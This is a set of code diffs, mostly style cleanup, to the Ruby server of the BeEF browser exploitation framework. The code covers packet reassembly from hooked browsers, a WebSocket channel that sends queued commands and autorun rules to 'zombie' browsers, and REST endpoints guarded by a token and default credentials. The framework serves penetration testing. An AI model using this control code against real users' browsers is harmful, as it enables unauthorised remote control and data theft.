loop do
Thread.start(server.accept) do |client|
data = ''
recv_length = 1024
threshold = 1024 * 512
while (tmp = client.recv(recv_length))
data += tmp
break if tmp.length < recv_length || tmp.length == recv_length
# 512 KB max of incoming data
break if data > threshold
end
if data.size > threshold
print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved."
else
@sockets[name] = { 'thread' => t, 'data' => data }
print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data."
print_debug "Bind Socket [#{name}] received:\n#{data}"
end
client.close
end
end
end
print_info "Bind socket [#{name}] listening on [#{host}:#{port}]."
end
def get_socket_data(name)
if @sockets[name].nil?
print_error "Bind Socket [#{name}] does not exists."
return
end
@sockets[name]['data']
end
def unbind_socket(name)
t = @sockets[name]['thread']
if t.alive?
print_debug "Thread to be killed: #{t}"
Thread.kill(t)
print_info "Bind Socket [#{name}] killed."
else
print_info "Bind Socket [#{name}] ALREADY killed."
end
end
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
# @param [String] path URL Path defined by bind()
# @param [String] extension Extension defined by bind()
# @param [Integer] length The amount of characters to be used when generating a random URL
# @return [String] Generated URL
def build_url(path, extension, length = 20)
url = path.nil? ? '/' + rand(36**length).to_s(36) : path
url += extension.nil? ? '' : '.' + extension
url
end
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
# @param [String] url URL Path of mounted file
# @return [Boolean] Returns true if the file is mounted
def check(url)
return false unless @allocations.has_key?(url)
count = @allocations[url]['count']
return true if count == -1
if count > 0
if (count - 1) == 0
unbind(url)
else
@allocations[url]['count'] = count - 1
end
return true
end
false
end
@http_server
@allocations
end
false
end
end
private
@http_server
@allocations
end
end
end
end
end

View File

@@ -7,18 +7,16 @@ module BeEF
module Core
module NetworkStack
module Handlers
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < BeEF::Core::Router::Router
# @note holds packet queue
PQ = Array.new()
PQ = []
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
before do
error 404 unless !params.empty?
error 404 if params.empty?
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
@@ -34,55 +32,50 @@ module BeEF
'Access-Control-Allow-Methods' => 'POST, GET'
begin
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
beefhook: params[:bh],
stream_id: Integer(params[:sid]),
packet_id: Integer(params[:pid]),
packet_count: Integer(params[:pc]),
data: params[:d]
}
rescue TypeError, ArgumentError => e
print_error "Hooked browser returned an invalid argument: #{e}"
end
Thread.new {
check_packets()
}
Thread.new do
check_packets
end
end
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
def check_packets
checked = []
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
next
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
next if checked.include?(packet[:beefhook] + ':' + String(packet[:stream_id]))
checked << (packet[:beefhook] + ':' + String(packet[:stream_id]))
pc = 0
PQ.each do |p|
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
pc += 1
end
pc += 1 if packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]
end
if (packet[:packet_count] == pc)
packets = expunge(packet[:beefhook], packet[:stream_id])
data = ''
packets.each_with_index do |sp, i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
end
b64 = Base64.decode64(data)
begin
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
rescue JSON::ParserError => e
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
end
next unless packet[:packet_count] == pc
packets = expunge(packet[:beefhook], packet[:stream_id])
data = ''
packets.each_with_index do |sp, _i|
data += sp[:data] if packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]
end
b64 = Base64.decode64(data)
begin
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
rescue JSON::ParserError => e
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: ' + data
print_debug 'Dumping Stream Data: ' + b64
end
end
end
@@ -100,8 +93,8 @@ module BeEF
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
if MOUNTS.has_key?(handler)
if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
@@ -115,6 +108,7 @@ module BeEF
# @return Value associated with `key`
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end

View File

@@ -7,32 +7,27 @@ module BeEF
module Core
module NetworkStack
module Handlers
class Raw
def initialize(status, header = {}, body = nil)
@status = status
@header = header
@body = body
end
def initialize(status, header={}, body=nil)
@status = status
@header = header
@body = body
end
def call(_env)
# [@status, @header, @body]
@response = Rack::Response.new(
body = @body,
status = @status,
header = @header
)
end
def call(env)
# [@status, @header, @body]
@response = Rack::Response.new(
body = @body,
status = @status,
header = @header
)
end
@request
private
@request
@response
end
end
end
end
@response
end
end
end
end
end

View File

@@ -7,36 +7,31 @@ module BeEF
module Core
module NetworkStack
module Handlers
# @note Redirector is used as a Rack app for mounting HTTP redirectors, instead of content
# @todo Add new options to specify what kind of redirect you want to achieve
class Redirector
@target = ''
@target = ""
def initialize(target)
@target = target
end
def initialize(target)
@target = target
end
def call(_env)
@response = Rack::Response.new(
body = ['302 found'],
status = 302,
header = {
'Content-Type' => 'text',
'Location' => @target
}
)
end
def call(env)
@response = Rack::Response.new(
body = ['302 found'],
status = 302,
header = {
'Content-Type' => 'text',
'Location' => @target
}
)
end
@request
private
@request
@response
end
end
end
end
@response
end
end
end
end
end

View File

@@ -27,32 +27,28 @@ module BeEF
secure = @@config.get('beef.http.websocket.secure')
# @note Start a WSS server socket
if (secure)
if secure
cert_key = @@config.get('beef.http.https.key')
unless cert_key.start_with? '/'
cert_key = File.expand_path cert_key, $root_dir
end
cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/'
unless File.exist? cert_key
print_error "Error: #{cert_key} does not exist"
exit 1
end
cert = @@config.get('beef.http.https.cert')
unless cert.start_with? '/'
cert = File.expand_path cert, $root_dir
end
cert = File.expand_path cert, $root_dir unless cert.start_with? '/'
unless File.exist? cert
print_error "Error: #{cert} does not exist"
exit 1
end
ws_secure_options = {
:host => @@config.get('beef.http.host'),
:port => @@config.get('beef.http.websocket.secure_port'),
:secure => true,
:tls_options => {
:cert_chain_file => cert,
:private_key_file => cert_key,
host: @@config.get('beef.http.host'),
port: @@config.get('beef.http.websocket.secure_port'),
secure: true,
tls_options: {
cert_chain_file: cert,
private_key_file: cert_key
}
}
start_websocket_server(ws_secure_options)
@@ -60,9 +56,9 @@ module BeEF
# @note Start a WS server socket
ws_options = {
:host => @@config.get('beef.http.host'),
:port => @@config.get('beef.http.websocket.port'),
:secure => false
host: @@config.get('beef.http.host'),
port: @@config.get('beef.http.websocket.port'),
secure: false
}
start_websocket_server(ws_options)
end
@@ -77,119 +73,117 @@ module BeEF
EventMachine.run do
EventMachine::WebSocket.start(ws_options) do |ws|
begin
ws.onopen do |handshake|
print_debug("[WebSocket] New #{secure ? 'WebSocketSecure' : 'WebSocket'} channel open.")
ws.onopen do |_handshake|
print_debug("[WebSocket] New #{secure ? 'WebSocketSecure' : 'WebSocket'} channel open.")
end
ws.onerror do |error|
print_error "[WebSocket] Error: #{error}"
end
ws.onclose do |msg|
print_debug "[WebSocket] Connection closed: #{msg}"
end
ws.onmessage do |msg, _type|
begin
msg_hash = JSON.parse(msg)
print_debug "[WebSocket] New message: #{msg_hash}" if @@debug
rescue StandardError => e
print_error "[WebSocket] Failed parsing WebSocket message: #{e.message}"
print_error e.backtrace
next
end
ws.onerror do |error|
print_error "[WebSocket] Error: #{error}"
end
# new zombie
unless msg_hash['cookie'].nil?
print_debug('[WebSocket] Browser says hello! WebSocket is running')
# insert new connection in activesocket
@@activeSocket[(msg_hash['cookie']).to_s] = ws
print_debug("[WebSocket] activeSocket content [#{@@activeSocket}]")
ws.onclose do |msg|
print_debug "[WebSocket] Connection closed: #{msg}"
end
ws.onmessage do |msg, type|
begin
msg_hash = JSON.parse(msg)
print_debug "[WebSocket] New message: #{msg_hash}" if @@debug
rescue => e
print_error "[WebSocket] Failed parsing WebSocket message: #{e.message}"
print_error e.backtrace
hb_session = msg_hash['cookie']
hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hb_session).first
if hooked_browser.nil?
print_error '[WebSocket] Fingerprinting not finished yet.'
print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.'
next
end
# new zombie
unless msg_hash['cookie'].nil?
print_debug("[WebSocket] Browser says hello! WebSocket is running")
# insert new connection in activesocket
@@activeSocket["#{msg_hash["cookie"]}"] = ws
print_debug("[WebSocket] activeSocket content [#{@@activeSocket}]")
browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name')
browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version')
os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name')
os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version')
BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version)
hb_session = msg_hash["cookie"]
hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hb_session).first
if hooked_browser.nil?
print_error '[WebSocket] Fingerprinting not finished yet.'
print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.'
next
end
browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name')
browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version')
os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name')
os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version')
BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version)
next
end
# polling zombie
unless msg_hash['alive'].nil?
hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => msg_hash["alive"]).first
# This will happen if you reset BeEF database (./beef -x),
# and existing zombies try to connect. These zombies will be ignored,
# as they are unknown and presumed invalid.
#
# @todo: consider fixing this. add zombies instead of ignoring them
# and report "Hooked browser X appears to have come back online"
if hooked_browser.nil?
# print_error "Could not find zombie with ID #{msg_hash['alive']}"
next
end
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save!
# Check if new modules need to be sent
zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
# Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
are_body = ''
are_executions = BeEF::Core::Models::Execution.where(:is_sent => false, :session_id => hooked_browser.session)
are_executions.each do |are_exec|
are_body += are_exec.mod_body
are_exec.update(:is_sent => true, :exec_time => Time.new.to_i)
end
@@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty?
# @todo antisnatchor:
# @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
# Check if new forged requests need to be sent (Requester/TunnelingProxy)
if @@config.get('beef.extension.requester.loaded')
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, '')
end
# Check if new XssRays scan need to be started
if @@config.get('beef.extension.xssrays.loaded')
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, '')
end
next
end
# received request for a specific handler
# the zombie is probably trying to return command module results
# or call back to a running BeEF extension
unless msg_hash['handler'].nil?
# Call the handler for websocket cmd response
# Base64 decode, parse JSON, and forward
execute(msg_hash)
next
end
print_error "[WebSocket] Unexpected WebSocket message: #{msg_hash}"
next
end
# polling zombie
unless msg_hash['alive'].nil?
hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: msg_hash['alive']).first
# This will happen if you reset BeEF database (./beef -x),
# and existing zombies try to connect. These zombies will be ignored,
# as they are unknown and presumed invalid.
#
# @todo: consider fixing this. add zombies instead of ignoring them
# and report "Hooked browser X appears to have come back online"
if hooked_browser.nil?
# print_error "Could not find zombie with ID #{msg_hash['alive']}"
next
end
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save!
# Check if new modules need to be sent
zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
# Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
are_body = ''
are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hooked_browser.session)
are_executions.each do |are_exec|
are_body += are_exec.mod_body
are_exec.update(is_sent: true, exec_time: Time.new.to_i)
end
@@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty?
# @todo antisnatchor:
# @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
# Check if new forged requests need to be sent (Requester/TunnelingProxy)
if @@config.get('beef.extension.requester.loaded')
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, '')
end
# Check if new XssRays scan need to be started
if @@config.get('beef.extension.xssrays.loaded')
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, '')
end
next
end
# received request for a specific handler
# the zombie is probably trying to return command module results
# or call back to a running BeEF extension
unless msg_hash['handler'].nil?
# Call the handler for websocket cmd response
# Base64 decode, parse JSON, and forward
execute(msg_hash)
next
end
print_error "[WebSocket] Unexpected WebSocket message: #{msg_hash}"
end
end
end
end
rescue => e
rescue StandardError => e
print_error "[WebSocket] Error: #{e.message}"
raise e
end
@@ -198,7 +192,7 @@ module BeEF
# @note retrieve the right websocket channel given an hooked browser session
# @param [String] session the hooked browser session
#
def getsocket (session)
def getsocket(session)
!@@activeSocket[session].nil?
end
@@ -207,7 +201,7 @@ module BeEF
# @param [String] fn the module to execute
# @param [String] session the hooked browser session
#
def send (fn, session)
def send(fn, session)
@@activeSocket[session].send(fn)
end
@@ -228,27 +222,25 @@ module BeEF
# "jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ"}
# => {"handler"=>"/command/test_beef_debug.js", "cid"=>"1", "result"=>"InJlc3VsdD1jYWxsZWQgdGhlIGJlZWYuZGVidWcoKSBmdW5jdGlvbi4gQ2hlY2sgdGhlIGRldmVsb3BlciBjb25zb2xlIGZvciB5b3VyIGRlYnVnIG1lc3NhZ2UuIg==", "status"=>"undefined", "callback"=>"undefined", "bh"=>"jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ"}
#
def execute (data)
if @@debug
print_debug data.inspect
end
def execute(data)
print_debug data.inspect if @@debug
hooked_browser = data['bh']
unless BeEF::Filters.is_valid_hook_session_id?(hooked_browser)
print_error "[Websocket] BeEF hook is invalid"
print_error '[Websocket] BeEF hook is invalid'
return
end
command_id = data['cid'].to_s
unless BeEF::Filters::nums_only?(command_id)
print_error "[Websocket] command_id is invalid"
unless BeEF::Filters.nums_only?(command_id)
print_error '[Websocket] command_id is invalid'
return
end
command_id = command_id.to_i
handler = data['handler']
if handler.to_s.strip == ''
print_error "[Websocket] handler is invalid"
print_error '[Websocket] handler is invalid'
return
end
@@ -260,20 +252,20 @@ module BeEF
when '2'
status = 2
else
print_error "[Websocket] command status is invalid"
print_error '[Websocket] command status is invalid'
return
end
command_results = {}
command_results['data'] = JSON.parse(Base64.decode64(data['result']).force_encoding('UTF-8'))
if command_results.empty?
print_error "[Websocket] command results are empty"
print_error '[Websocket] command results are empty'
return
end
command_mod = "beef.module.#{handler.gsub('/command/','').gsub('.js','')}"
command_mod = "beef.module.#{handler.gsub('/command/', '').gsub('.js', '')}"
command_name = @@config.get("#{command_mod}.class")
# process results from command module
@@ -289,9 +281,7 @@ module BeEF
nil
)
if command_obj.respond_to?(:post_execute)
command_obj.post_execute
end
command_obj.post_execute if command_obj.respond_to?(:post_execute)
BeEF::Core::Models::Command.save_result(
hooked_browser,
@@ -301,18 +291,18 @@ module BeEF
status
)
else # processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = command_results['data']
data['beefhook'] = hooked_browser
data['results'] = command_results['data']
if MOUNTS.has_key?(handler)
if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2
if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
rescue => e
rescue StandardError => e
print_error "Error in BeEF::Core::Websocket: #{e.message}"
raise e
end

View File

@@ -6,7 +6,6 @@
module BeEF
module Core
module Rest
module RegisterHooksHandler
def self.mount_handler(server)
server.mount('/api/hooks', BeEF::Core::Rest::HookedBrowsers.new)
@@ -64,24 +63,23 @@ module BeEF
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler')
#
# Check the source IP is within the permitted subnet
# This is from extensions/admin_ui/controllers/authentication/authentication.rb
#
def self.permitted_source?(ip)
# test if supplied IP address is valid
return false unless BeEF::Filters::is_valid_ip?(ip)
return false unless BeEF::Filters.is_valid_ip?(ip)
# get permitted subnets
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
return false if permitted_ui_subnet.nil?
return false if permitted_ui_subnet.empty?
permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')
return false if permitted_ui_subnet.nil?
return false if permitted_ui_subnet.empty?
# test if ip within subnets
permitted_ui_subnet.each do |subnet|
permitted_ui_subnet.each do |subnet|
return true if IPAddr.new(subnet).include?(ip)
end
end
false
end
@@ -100,18 +98,17 @@ module BeEF
# @return <boolean>
def self.timeout?(config_delay_id, last_time_attempt, time_record_set_fn)
success = true
time = Time.now()
time = Time.now
config = BeEF::Core::Configuration.instance
fail_delay = config.get(config_delay_id)
if (time - last_time_attempt < fail_delay.to_f)
if time - last_time_attempt < fail_delay.to_f
time_record_set_fn.call(time)
success = false
end
success
end
end
end
end

View File

@@ -8,20 +8,19 @@ module BeEF
module Core
module Rest
class Admin < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
time_since_last_failed_auth = 0
before do
# @todo: this code comment is a lie. why is it here?
# error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
# halt if requests are inside beef.restrictions.api_attempt_delay
if time_since_last_failed_auth != 0
halt 401 if not BeEF::Core::Rest.timeout?('beef.restrictions.api_attempt_delay',
time_since_last_failed_auth,
lambda { |time| time_since_last_failed_auth = time})
# halt if requests are inside beef.restrictions.api_attempt_delay
if time_since_last_failed_auth != 0 && !BeEF::Core::Rest.timeout?('beef.restrictions.api_attempt_delay',
time_since_last_failed_auth,
->(time) { time_since_last_failed_auth = time })
halt 401
end
headers 'Content-Type' => 'application/json; charset=UTF-8',
@@ -36,44 +35,37 @@ module BeEF
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/admin/login HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#Content-Length: 18
# POST /api/admin/login HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
# Content-Length: 18
#
#{"username":"beef", "password":"beef"}
# {"username":"beef", "password":"beef"}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#Content-Length: 35
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
# Content-Length: 35
#
#{"success":"true","token":"122323121"}
# {"success":"true","token":"122323121"}
#
post '/login' do
request.body.rewind
begin
data = JSON.parse request.body.read
# check username and password
if not (data['username'].eql? config.get('beef.credentials.user') and data['password'].eql? config.get('beef.credentials.passwd') )
if not data['password'].eql? "broken_pass"
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.")
end
# failed attempts
time_since_last_failed_auth = Time.now()
halt 401
else
{ "success" => true,
"token" => "#{config.get('beef.api_token')}"
if data['username'].eql?(config.get('beef.credentials.user')) && data['password'].eql?(config.get('beef.credentials.passwd'))
return {
'success' => true,
'token' => config.get('beef.api_token').to_s
}.to_json
end
rescue => e
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.")
time_since_last_failed_auth = Time.now
halt 401
rescue StandardError
error 400
end
end
private
end
end
end

View File

@@ -8,12 +8,11 @@ module BeEF
module Core
module Rest
class AutorunEngine < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -27,7 +26,7 @@ module BeEF
data = JSON.parse request.body.read
rloader = BeEF::Core::AutorunEngine::RuleLoader.instance
rloader.load(data).to_json
rescue => e
rescue StandardError => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] ERROR: #{e.message}"
{ 'success' => false, 'error' => err }.to_json
@@ -36,96 +35,90 @@ module BeEF
# Delete a ruleset
get '/rule/delete/:rule_id' do
begin
rule_id = params[:rule_id]
rule = BeEF::Core::AutorunEngine::Models::Rule.find(rule_id)
rule.destroy
{ 'success' => true}.to_json
rescue => e
err = 'Error getting rule.'
print_error "[ARE] ERROR: #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
rule_id = params[:rule_id]
rule = BeEF::Core::AutorunEngine::Models::Rule.find(rule_id)
rule.destroy
{ 'success' => true }.to_json
rescue StandardError => e
err = 'Error getting rule.'
print_error "[ARE] ERROR: #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
# Trigger a specified rule_id on online hooked browsers. Offline hooked browsers are ignored
get '/rule/trigger/:rule_id' do
begin
rule_id = params[:rule_id]
rule_id = params[:rule_id]
online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))
are = BeEF::Core::AutorunEngine::Engine.instance
online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))
are = BeEF::Core::AutorunEngine::Engine.instance
if online_hooks != nil
online_hooks.each do |hb|
hb_details = BeEF::Core::Models::BrowserDetails
browser_name = hb_details.get(hb.session, 'browser.name')
browser_version = hb_details.get(hb.session, 'browser.version')
os_name = hb_details.get(hb.session, 'host.os.name')
os_version = hb_details.get(hb.session, 'host.os.version')
if online_hooks.nil?
{ 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json
else
online_hooks.each do |hb|
hb_details = BeEF::Core::Models::BrowserDetails
browser_name = hb_details.get(hb.session, 'browser.name')
browser_version = hb_details.get(hb.session, 'browser.version')
os_name = hb_details.get(hb.session, 'host.os.name')
os_version = hb_details.get(hb.session, 'host.os.version')
match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id)
are.trigger(match_rules, hb.id) if match_rules.length > 0
end
{ 'success' => true }.to_json
else
{ 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json
match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id)
are.trigger(match_rules, hb.id) if match_rules.length > 0
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] ERROR: #{e.message}"
{ 'success' => false, 'error' => err }.to_json
{ 'success' => true }.to_json
end
rescue StandardError => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] ERROR: #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
# Delete a ruleset
get '/rule/list/:rule_id' do
begin
rule_id = params[:rule_id]
if rule_id == 'all'
result = Array.new
rules = BeEF::Core::AutorunEngine::Models::Rule.all
rules.each do |rule|
{
'id' => rule.id,
'name'=> rule.name,
'author'=> rule.author,
'browser'=> rule.browser,
'browser_version'=> rule.browser_version,
'os'=> rule.os,
'os_version'=> rule.os_version,
'modules'=> rule.modules,
'execution_order'=> rule.execution_order,
'execution_delay'=> rule.execution_delay,
'chain_mode'=> rule.chain_mode
}
result.push rule
end
else
result = nil
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
if rule != nil
result = {
'id' => rule.id,
'name'=> rule.name,
'author'=> rule.author,
'browser'=> rule.browser,
'browser_version'=> rule.browser_version,
'os'=> rule.os,
'os_version'=> rule.os_version,
'modules'=> rule.modules,
'execution_order'=> rule.execution_order,
'execution_delay'=> rule.execution_delay,
'chain_mode'=> rule.chain_mode
}
end
rule_id = params[:rule_id]
if rule_id == 'all'
result = []
rules = BeEF::Core::AutorunEngine::Models::Rule.all
rules.each do |rule|
{
'id' => rule.id,
'name' => rule.name,
'author' => rule.author,
'browser' => rule.browser,
'browser_version' => rule.browser_version,
'os' => rule.os,
'os_version' => rule.os_version,
'modules' => rule.modules,
'execution_order' => rule.execution_order,
'execution_delay' => rule.execution_delay,
'chain_mode' => rule.chain_mode
}
result.push rule
end
else
result = nil
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
unless rule.nil?
result = {
'id' => rule.id,
'name' => rule.name,
'author' => rule.author,
'browser' => rule.browser,
'browser_version' => rule.browser_version,
'os' => rule.os,
'os_version' => rule.os_version,
'modules' => rule.modules,
'execution_order' => rule.execution_order,
'execution_delay' => rule.execution_delay,
'chain_mode' => rule.chain_mode
}
end
{ 'success' => true, 'rules' => result}.to_json
rescue => e
err = 'Error getting rule(s)'
print_error "[ARE] ERROR: #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
{ 'success' => true, 'rules' => result }.to_json
rescue StandardError => e
err = 'Error getting rule(s)'
print_error "[ARE] ERROR: #{e.message}"
{ 'success' => false, 'error' => err }.to_json
end
end
end

View File

@@ -8,12 +8,11 @@ module BeEF
module Core
module Rest
class BrowserDetails < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -24,15 +23,15 @@ module BeEF
# @note Get all browser details for the specified session
#
get '/:session' do
hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
error 404 if hb.nil?
details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session)
details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session)
error 404 if details.nil?
result = []
details.each do |d|
result << {key: d[:detail_key], value: d[:detail_value] }
result << { key: d[:detail_key], value: d[:detail_value] }
end
output = {

View File

@@ -8,12 +8,11 @@ module BeEF
module Core
module Rest
class Categories < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -21,19 +20,18 @@ module BeEF
end
get '/' do
categories = BeEF::Modules::get_categories
cats = Array.new
i = 0
# todo add sub-categories support!
categories.each do |category|
cat = {"id" => i, "name" => category}
cats << cat
i += 1
end
cats.to_json
categories = BeEF::Modules.get_categories
cats = []
i = 0
# TODO: add sub-categories support!
categories.each do |category|
cat = { 'id' => i, 'name' => category }
cats << cat
i += 1
end
cats.to_json
end
end
end
end
end
end

View File

@@ -8,12 +8,11 @@ module BeEF
module Core
module Rest
class HookedBrowsers < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -37,50 +36,51 @@ module BeEF
end
output = {
'hooked-browsers' => {
'online' => online_hooks,
'offline' => offline_hooks
}
'hooked-browsers' => {
'online' => online_hooks,
'offline' => offline_hooks
}
}
output.to_json
end
get '/:session/delete' do
hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first
error 401 unless hb != nil
get '/:session/delete' do
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
error 401 if hb.nil?
details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session)
details.destroy_all
details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session)
details.destroy_all
logs = BeEF::Core::Models::Log.where(:hooked_browser_id => hb.id)
logs.destroy_all
